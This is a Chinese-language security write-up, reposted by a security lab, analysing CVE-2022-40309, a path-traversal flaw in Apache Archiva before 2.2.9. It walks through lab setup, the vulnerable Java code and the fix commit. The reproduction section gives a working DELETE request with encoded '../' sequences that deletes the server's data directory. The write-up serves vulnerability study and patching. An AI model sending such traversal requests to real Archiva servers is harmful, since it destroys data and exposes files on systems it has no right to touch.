声明
出品|先知社区(ID:l3yx）
以下内容，来自先知社区的l3yx作者原创，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，长白山攻防实验室以及文章作者不承担任何责任。
CVE-2022-40309
Apache Archiva是一个存储库管理软件，2.2.9以下版本在删除或者下载Artifact时，可以在目录或者文件名中注入目录穿越符，导致任意目录删除/任意文件读取漏洞。
影响范围
Apache Archiva < 2.2.9
环境搭建
https://archive.apache.org/dist/archiva/2.2.8/binaries/apache-archiva-2.2.8-bin.zip
https://codeload.github.com/apache/archiva/zip/refs/tags/archiva-2.2.8
./bin/archiva console或.\bin\archiva.bat console
可以提前在conf/wrapper.conf添加如下配置，方便IDEA远程调试
wrapper.java.additional.9=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
首次运行需要添加Admin用户，注意需要勾选Validated复选框：
http://127.0.0.1:8080/#open-admin-create-box
漏洞复现
前置条件是需要用户拥有archiva-delete-artifact操作权限，使用首次添加的系统管理员账号或者角色为Repository Manager - internal的账号都可，其次需要存储库中有Artifact
先上传一个Artifact到Archiva Managed Internal Repository
可以抓到如下DELETE请求
DELETE /restServices/archivaServices/repositoriesService/project/internal/com.test/test
在projectid后面添加POC%2f..%2f..%2f..%2-f..%2f..%2fdata，这将删除Archiva根目录下的data目录
DELETE /restServices/archivaServices/repositoriesService/project/internal/com.test/test%2f..%2f..%2f..%2f..%2f..%2fdata
漏洞分析
入口在 org.apache.archiva.rest.api.services.RepositoriesService#deleteProject
@Path ("project/{repositoryId}/{groupId}/{projectId}")@DELETE@Produces ({ MediaType.APPLICATION_JSON, MediaType.APPLICATION_XML, MediaType.TEXT_PLAIN })@RedbackAuthorization (noPermission = true)Boolean deleteProject( @PathParam ("groupId") String groupId, @PathParam ("projectId") String projectId, @PathParam ("repositoryId") String repositoryId ) throws ArchivaRestServiceException; org.apache.archiva.rest.services.DefaultRepositoriesService#deleteProject
public Boolean deleteProject( String groupId, String projectId, String repositoryId ) throws ArchivaRestServiceException{... if ( !isAuthorizedToDeleteArtifacts( repositoryId ) ) { throw new ArchivaRestServiceException( "not authorized to delete artifacts", 403, null ); }... try { ManagedRepositoryContent repository = repositoryFactory.getManagedRepositoryContent( repositoryId ); repository.deleteProject( groupId, projectId ); }...}
isAuthorizedToDeleteArtifacts 限制登录用户需要有archiva-delete-artifact权限
在repository.deleteProject( groupId, projectId )中直接拼接了目录名进行删除
org.apache.archiva.repository.content.maven2.ManagedDefaultRepositoryContent#deleteProject
漏洞修复
https://github.com/apache/archiva/commit/930460424c715f52a7cb5eef5b084a7a8ef31fb5#diff
bde5305e671d2bdf9f05df227a6fa706f87b911c28799575537f806a063a9134R95
欢迎关注长白山攻防实验室微信公众号
定期更新优质文章分享
